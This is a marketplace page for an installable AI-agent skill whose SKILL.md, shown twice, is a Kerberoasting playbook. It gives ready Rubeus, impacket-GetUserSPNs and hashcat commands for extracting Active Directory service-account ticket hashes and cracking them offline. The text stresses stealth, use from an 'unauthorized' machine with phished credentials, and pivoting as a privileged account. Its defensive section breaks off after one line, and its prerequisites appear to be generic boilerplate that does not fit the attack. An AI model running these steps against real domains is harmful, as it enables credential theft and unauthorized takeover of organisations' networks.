active-directory-kerberoasting

Name: active-directory-kerberoasting
Author: ShulkwiSEC

18stars5forks

How to install active-directory-kerberoasting?

shulkwisec/bb-huge/active-directory-kerberoasting

$npx -y skills add ShulkwiSEC/bb-huge --skill active-directory-kerberoasting

Installs into the current project.

Summary

Execute a Kerberoasting attack to extract and systematically crack the NTLM hashes of Service Principal Name (SPN) accounts in an Active Directory environment. Uses tools like Rubeus, Impacket (GetUserSPNs), and Hashcat to achieve domain privilege escalation domain: cybersecurity

Files · 1

View on GitHub

SKILL.md

1	# Active Directory Kerberoasting
2
3	## When to Use
4	- Immediately after obtaining the credentials of any standard user in an Active Directory environment.
5	- To silently acquire the password hashes of highly privileged service accounts (e.g., SQL Server Admin, IIS Admin, Domain Admin running a service).
6	- When a Red Team operation requires strict stealth; Kerberoasting requires no elevated privileges and generates practically zero network anomalies to standard detection systems.
7
8
9	## Prerequisites
10	- Network access to the target subnet (VPN, pivot, or direct connection)
11	- Nmap and relevant network scanning tools installed
12	- Understanding of TCP/IP, common protocols, and network segmentation
13	- Root/admin access on the attack machine for raw socket operations
14
15	## Workflow
16
17	### Phase 1: Understanding the Mechanism
18
19	```text
20	# Concept: In Windows Kerberos, services (like SQL) are registered with a Service Principal Name (SPN).
21	# When a user wants to access a service, they request a Ticket Granting Service (TGS) ticket from the Domain Controller.
22
23	# The Vulnerability: The Domain Controller encrypts a portion of this TGS ticket using the
24	# NTLM password hash of the Service Account running the service.
25	# ANY authenticated user can request a TGS ticket for ANY registered service in the domain.
26	# Once requested, the attacker extracts the ticket containing the encrypted password hash from memory
27	# and cracks it offline using Hashcat.
28	```
29
30	### Phase 2: Execution via Rubeus (Windows / C#)
31
32	```powershell
33	# Concept: Exploiting Kerberoasting perfectly from memory using Rubeus on a compromised Windows workstation.
34
35	# 1. Execute Rubeus to query LDAP for all accounts with SPNs, request TGS tickets for them,
36	# and format the output directly for Hashcat.
37	.\Rubeus.exe kerberoast /outfile:hashes.txt
38
39	# Rubeus outputs specifically formatted hashes resembling:
40	# $krb5tgs$23$service_account$DOMAIN.LOCAL$spn_string$<hexadecimal_hash>
41
42	# 2. Exfiltrate `hashes.txt` to the attacker's cracking rig.
43	```
44
45	### Phase 3: Execution via Impacket (Linux / Remote)
46
47	```bash
48	# Concept: Exploiting Kerberoasting from an unauthorized Kali Linux machine attached to the corporate network,
49	# utilizing valid credentials phished from a user.
50
51	# 1. Provide the domain, username, and password to Impacket's GetUserSPNs.py.
52	# The script will output the TGS tickets to a file.
53	impacket-GetUserSPNs -request -dc-ip 192.168.1.100 CORP.LOCAL/jdoe:Password123! -outputfile hashes.txt
54
55	# Note: Sometimes it's useful to just list the SPNs first to target highly valuable accounts:
56	impacket-GetUserSPNs -dc-ip 192.168.1.100 CORP.LOCAL/jdoe:Password123!
57	```
58
59	### Phase 4: Offline Password Cracking (Hashcat)
60
61	```bash
62	# Concept: You cannot "Pass the Ticket" with a Service Ticket. You must crack the encryption
63	# to acquire the plaintext password of the Service Account.
64
65	# 1. Transfer `hashes.txt` to a GPU-optimized cracking machine.
66	# 2. Execute hashcat targeting Kerberos 5 TGS-REP etype 23 (Hash Type 13100)
67	hashcat -m 13100 -a 0 hashes.txt /usr/share/wordlists/rockyou.txt -O
68
69	# 3. Success: If the Service Account password was weak (e.g., "Summer2023!"), Hashcat cracks the
70	# RC4 encryption, yielding the password.
71	# 4. Impact: The attacker now perfectly impersonates the Service Account, which often is a local Administrator or Domain Admin.
72	```
73
74	#### Decision Point 🔀
75	```mermaid
76	flowchart TD
77	A[Compromise low-level AD user] --> B{Attacking from Windows endpoint?}
78	B -->\|Yes\| C[Execute `Rubeus kerberoast` from memory]
79	B -->\|No (Kali/Proxy)\| D[Execute `impacket-GetUserSPNs` remotely]
80	C --> E[Extract TGS Tickets]
81	D --> E
82	E --> F[Crack offline using Hashcat -m 13100]
83	F --> G{Is password cracked?}
84	G -->\|Yes\| H[Pivot into network acting as Highly Privileged Service Account]
85	G -->\|No\| I[Attempt to crack with custom enterprise wordlist/rules or perform AS-REP Roasting]
86	```
87
88	## 🔵 Blue Team Detection & Defense
89	- Enforce Complex Passwords (Managed Service Accounts): The ONLY defense against an offline cryptographic crack is a massive, complex password. Migrate all Service Accounts to Group Managed Service Accounts (gMSA), which automatically generate and rotate 120-character random passwords that mathematically cannot

People who liked this also viewed

6 picks

Type

active-directory-kerberoasting

18stars5forks

View on GitHub

How to install active-directory-kerberoasting?

shulkwisec/bb-huge/active-directory-kerberoasting

$npx -y skills add ShulkwiSEC/bb-huge --skill active-directory-kerberoasting

Installs into the current project.

Summary

Files · 1

View on GitHub

SKILL.md

1	# Active Directory Kerberoasting
2
3	## When to Use
4	- Immediately after obtaining the credentials of any standard user in an Active Directory environment.
5	- To silently acquire the password hashes of highly privileged service accounts (e.g., SQL Server Admin, IIS Admin, Domain Admin running a service).
6	- When a Red Team operation requires strict stealth; Kerberoasting requires no elevated privileges and generates practically zero network anomalies to standard detection systems.
7
8
9	## Prerequisites
10	- Network access to the target subnet (VPN, pivot, or direct connection)
11	- Nmap and relevant network scanning tools installed
12	- Understanding of TCP/IP, common protocols, and network segmentation
13	- Root/admin access on the attack machine for raw socket operations
14
15	## Workflow
16
17	### Phase 1: Understanding the Mechanism
18
19	```text
20	# Concept: In Windows Kerberos, services (like SQL) are registered with a Service Principal Name (SPN).
21	# When a user wants to access a service, they request a Ticket Granting Service (TGS) ticket from the Domain Controller.
22
23	# The Vulnerability: The Domain Controller encrypts a portion of this TGS ticket using the
24	# NTLM password hash of the Service Account running the service.
25	# ANY authenticated user can request a TGS ticket for ANY registered service in the domain.
26	# Once requested, the attacker extracts the ticket containing the encrypted password hash from memory
27	# and cracks it offline using Hashcat.
28	```
29
30	### Phase 2: Execution via Rubeus (Windows / C#)
31
32	```powershell
33	# Concept: Exploiting Kerberoasting perfectly from memory using Rubeus on a compromised Windows workstation.
34
35	# 1. Execute Rubeus to query LDAP for all accounts with SPNs, request TGS tickets for them,
36	# and format the output directly for Hashcat.
37	.\Rubeus.exe kerberoast /outfile:hashes.txt
38
39	# Rubeus outputs specifically formatted hashes resembling:
40	# $krb5tgs$23$service_account$DOMAIN.LOCAL$spn_string$<hexadecimal_hash>
41
42	# 2. Exfiltrate `hashes.txt` to the attacker's cracking rig.
43	```
44
45	### Phase 3: Execution via Impacket (Linux / Remote)
46
47	```bash
48	# Concept: Exploiting Kerberoasting from an unauthorized Kali Linux machine attached to the corporate network,
49	# utilizing valid credentials phished from a user.
50
51	# 1. Provide the domain, username, and password to Impacket's GetUserSPNs.py.
52	# The script will output the TGS tickets to a file.
53	impacket-GetUserSPNs -request -dc-ip 192.168.1.100 CORP.LOCAL/jdoe:Password123! -outputfile hashes.txt
54
55	# Note: Sometimes it's useful to just list the SPNs first to target highly valuable accounts:
56	impacket-GetUserSPNs -dc-ip 192.168.1.100 CORP.LOCAL/jdoe:Password123!
57	```
58
59	### Phase 4: Offline Password Cracking (Hashcat)
60
61	```bash
62	# Concept: You cannot "Pass the Ticket" with a Service Ticket. You must crack the encryption
63	# to acquire the plaintext password of the Service Account.
64
65	# 1. Transfer `hashes.txt` to a GPU-optimized cracking machine.
66	# 2. Execute hashcat targeting Kerberos 5 TGS-REP etype 23 (Hash Type 13100)
67	hashcat -m 13100 -a 0 hashes.txt /usr/share/wordlists/rockyou.txt -O
68
69	# 3. Success: If the Service Account password was weak (e.g., "Summer2023!"), Hashcat cracks the
70	# RC4 encryption, yielding the password.
71	# 4. Impact: The attacker now perfectly impersonates the Service Account, which often is a local Administrator or Domain Admin.
72	```
73
74	#### Decision Point 🔀
75	```mermaid
76	flowchart TD
77	A[Compromise low-level AD user] --> B{Attacking from Windows endpoint?}
78	B -->\|Yes\| C[Execute `Rubeus kerberoast` from memory]
79	B -->\|No (Kali/Proxy)\| D[Execute `impacket-GetUserSPNs` remotely]
80	C --> E[Extract TGS Tickets]
81	D --> E
82	E --> F[Crack offline using Hashcat -m 13100]
83	F --> G{Is password cracked?}
84	G -->\|Yes\| H[Pivot into network acting as Highly Privileged Service Account]
85	G -->\|No\| I[Attempt to crack with custom enterprise wordlist/rules or perform AS-REP Roasting]
86	```
87
88	## 🔵 Blue Team Detection & Defense
89	- Enforce Complex Passwords (Managed Service Accounts): The ONLY defense against an offline cryptographic crack is a massive, complex password. Migrate all Service Accounts to Group Managed Service Accounts (gMSA), which automatically generate and rotate 120-character random passwords that mathematically cannot

People who liked this also viewed

6 picks

Type